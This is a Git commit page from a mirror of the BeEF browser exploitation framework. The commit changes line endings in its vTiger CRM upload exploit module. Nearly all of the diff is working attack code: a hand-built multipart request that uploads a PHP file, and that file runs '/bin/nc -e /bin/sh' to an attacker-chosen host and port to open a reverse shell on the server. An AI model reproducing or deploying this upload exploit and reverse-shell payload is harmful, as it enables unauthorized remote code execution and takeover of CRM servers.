Hiddenden/beef
2
0
Fork 0
Code Issues Pull Requests Actions Packages Projects Releases Wiki Activity

issue 81 : minor changes to vTiger module

Browse Source 
git-svn-id: https://beef.googlecode.com/svn/trunk@580 b87d56ec-f9c0-11de-8c8a-61c5e9addfc9
This commit is contained in:
xntrik
2010-11-25 23:58:49 +00:00
parent d446198b66
commit 65e4edc95b
1 changed files with 40 additions and 40 deletions
Download Patch File Download Diff File Expand all files Collapse all files

80
modules/commands/network/vtiger_crm_upload_exploit/vtiger_crm_upload_exploit.js
View File

@@ -58,55 +58,55 @@ beef.execute(function() {
var boundaryString = 'PWNED';
var boundary = '-----------------------------PWNED';
var requestbody =
boundary + '\\n'
+ 'Content-Disposition: form-data; name="MAX_FILE_SIZE"' + '\\n'
+ '\\n'
+ 3000000 + '\\n'
boundary + '\r\n'
+ 'Content-Disposition: form-data; name="MAX_FILE_SIZE"' + '\r\n'
+ '\r\n'
+ 3000000 + '\r\n'
+ boundary
+ '\\n'
+ 'Content-Disposition: form-data; name="return_module"' + '\\n'
+ '\\n'
+ '\\n'
+ '\r\n'
+ 'Content-Disposition: form-data; name="return_module"' + '\r\n'
+ '\r\n'
+ '\r\n'
+ boundary
+ '\\n'
+ 'Content-Disposition: form-data; name="return_action"' + '\\n'
+ '\\n'
+ '\\n'
+ '\r\n'
+ 'Content-Disposition: form-data; name="return_action"' + '\r\n'
+ '\r\n'
+ '\r\n'
+ boundary
+ '\\n'
+ 'Content-Disposition: form-data; name="return_id"' + '\\n'
+ '\\n'
+ '\\n'
+ '\r\n'
+ 'Content-Disposition: form-data; name="return_id"' + '\r\n'
+ '\r\n'
+ '\r\n'
+ boundary
+ '\\n'
+ 'Content-Disposition: form-data; name="uploadsubject"' + '\\n'
+ '\\n'
+ '\\n'
+ '\r\n'
+ 'Content-Disposition: form-data; name="uploadsubject"' + '\r\n'
+ '\r\n'
+ '\r\n'
+ boundary
+ '\\n'
+ 'Content-Disposition: form-data; name="filename"; filename="vtiger-fun.PHP"' + '\\n'
+ 'Content-Type: application/x-httpd-php' + '\\n'
+ '\\n'
+ '<\?php' + '\\n'
+ 'passthru("/bin/nc -e /bin/sh <%= @vtiger_host %> <%= @vtiger_port %>");' + '\\n'
+ '\?>' + '\\n'
+ '\\n'
+ '\r\n'
+ 'Content-Disposition: form-data; name="filename"; filename="vtiger-fun.PHP"' + '\r\n'
+ 'Content-Type: application/x-httpd-php' + '\r\n'
+ '\r\n'
+ '<\?php' + '\r\n'
+ 'passthru("/bin/nc -e /bin/sh <%= @vtiger_host %> <%= @vtiger_port %>");' + '\r\n'
+ '\?>' + '\r\n'
+ '\r\n'
+ boundary
+ '\\n'
+ 'Content-Disposition: form-data; name="filename_hidden"' + '\\n'
+ '\\n'
+ '\r\n'
+ 'Content-Disposition: form-data; name="filename_hidden"' + '\r\n'
+ '\r\n'
+ 'vtiger-fun.PHP'
+ '\\n'
+ '\r\n'
+ boundary
+ '\\n'
+ 'Content-Disposition: form-data; name="txtDescription"' + '\\\n'
+ '\\n'
+ 'drop it like its hot' + '\\n'
+ '\r\n'
+ 'Content-Disposition: form-data; name="txtDescription"' + '\\r\n'
+ '\r\n'
+ 'drop it like its hot' + '\r\n'
+ boundary
+ '\\n'
+ 'Content-Disposition: form-data; name="save"' + '\\n'
+ '\\n'
+ 'Attach' + '\\n'
+ '\r\n'
+ 'Content-Disposition: form-data; name="save"' + '\r\n'
+ '\r\n'
+ 'Attach' + '\r\n'
+ boundary;
http_request.onreadystatechange = function() {